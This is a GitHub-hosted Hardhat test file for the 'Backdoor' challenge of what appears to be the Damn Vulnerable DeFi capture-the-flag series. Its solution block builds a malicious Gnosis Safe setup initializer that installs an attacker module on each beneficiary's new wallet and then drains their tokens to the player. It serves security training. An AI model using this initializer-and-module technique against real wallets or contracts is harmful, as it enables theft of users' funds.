-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathbackdoor.challenge.js
142 lines (126 loc) · 4.91 KB
/
backdoor.challenge.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
const { ethers } = require("hardhat");
const { expect } = require("chai");
const { FallbackProvider } = require("@ethersproject/providers");
describe("[Challenge] Backdoor", function () {
let deployer, users, player;
let masterCopy, walletFactory, token, walletRegistry;
const AMOUNT_TOKENS_DISTRIBUTED = 40n * 10n ** 18n;
before(async function () {
/** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
[deployer, alice, bob, charlie, david, player] = await ethers.getSigners();
users = [alice.address, bob.address, charlie.address, david.address];
// Deploy Gnosis Safe master copy and factory contracts
masterCopy = await (
await ethers.getContractFactory("GnosisSafe", deployer)
).deploy();
walletFactory = await (
await ethers.getContractFactory("GnosisSafeProxyFactory", deployer)
).deploy();
token = await (
await ethers.getContractFactory("DamnValuableToken", deployer)
).deploy();
// Deploy the registry
walletRegistry = await (
await ethers.getContractFactory("WalletRegistry", deployer)
).deploy(masterCopy.address, walletFactory.address, token.address, users);
expect(await walletRegistry.owner()).to.eq(deployer.address);
for (let i = 0; i < users.length; i++) {
// Users are registered as beneficiaries
expect(await walletRegistry.beneficiaries(users[i])).to.be.true;
// User cannot add beneficiaries
await expect(
walletRegistry
.connect(await ethers.getSigner(users[i]))
.addBeneficiary(users[i])
).to.be.revertedWithCustomError(walletRegistry, "Unauthorized");
}
// Transfer tokens to be distributed to the registry
await token.transfer(walletRegistry.address, AMOUNT_TOKENS_DISTRIBUTED);
});
it("Execution", async function () {
/** CODE YOUR SOLUTION HERE */
let abi1,
abi2,
abi3,
iface1,
iface2,
iface3,
initializer,
data,
newWallet,
newWallets = [];
const Backdoor = await ethers.getContractFactory("BackDoor");
const backdoor = await Backdoor.deploy(token.address, player.address);
const FakeMaster = await ethers.getContractFactory("FakeMaster");
const fakeMaster = await FakeMaster.deploy();
//Create proxies and register wallets through createProxyWithCallback();
//And use fakeMaster as setupModule receipient to register backDoor attacker as whitelisted module;
abi1 = [
`function setup(
address[] calldata _owners,
uint256 _threshold,
address to,
bytes calldata data,
address fallbackHandler,
address paymentToken,
uint256 payment,
address payable paymentReceiver)`,
];
iface1 = new ethers.utils.Interface(abi1);
abi2 = [`function enableModule2(address module)`];
iface2 = new ethers.utils.Interface(abi2);
data = iface2.encodeFunctionData("enableModule2", [backdoor.address]);
for (i = 0; i < users.length; i++) {
initializer = iface1.encodeFunctionData("setup", [
[users[i]],
1,
fakeMaster.address,
ethers.utils.arrayify(data),
ethers.constants.AddressZero,
ethers.constants.AddressZero,
0,
ethers.constants.AddressZero,
]);
await walletFactory.createProxyWithCallback(
masterCopy.address,
initializer,
0,
walletRegistry.address
);
newWallet = await walletRegistry.wallets(users[i]);
newWallets.push(newWallet);
console.log(`new wallet for user ${users[i]} is at ${newWallets[i]}`);
expect(await token.balanceOf(newWallets[i])).to.eq(10n * 10n ** 18n);
}
//Prepare calldata for backDoor attacker to pass to newWallets to execute;
abi3 = ["function transfer(address to, uint256 amount)"];
iface3 = new ethers.utils.Interface(abi3);
data = iface3.encodeFunctionData("transfer", [
player.address,
ethers.utils.parseEther("10"),
]);
//Execute attack from backDoor contract through signer: player
await backdoor.connect(player).execute(newWallets, data);
let bal = await token.balanceOf(player.address);
console.log("Player balance is", ethers.utils.formatEther(bal));
});
after(async function () {
/** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
// Player must have used a single transaction
expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1);
for (let i = 0; i < users.length; i++) {
let wallet = await walletRegistry.wallets(users[i]);
// User must have registered a wallet
expect(wallet).to.not.eq(
ethers.constants.AddressZero,
"User did not register a wallet"
);
// User is no longer registered as a beneficiary
expect(await walletRegistry.beneficiaries(users[i])).to.be.false;
}
// Player must own all tokens
expect(await token.balanceOf(player.address)).to.eq(
AMOUNT_TOKENS_DISTRIBUTED
);
});
});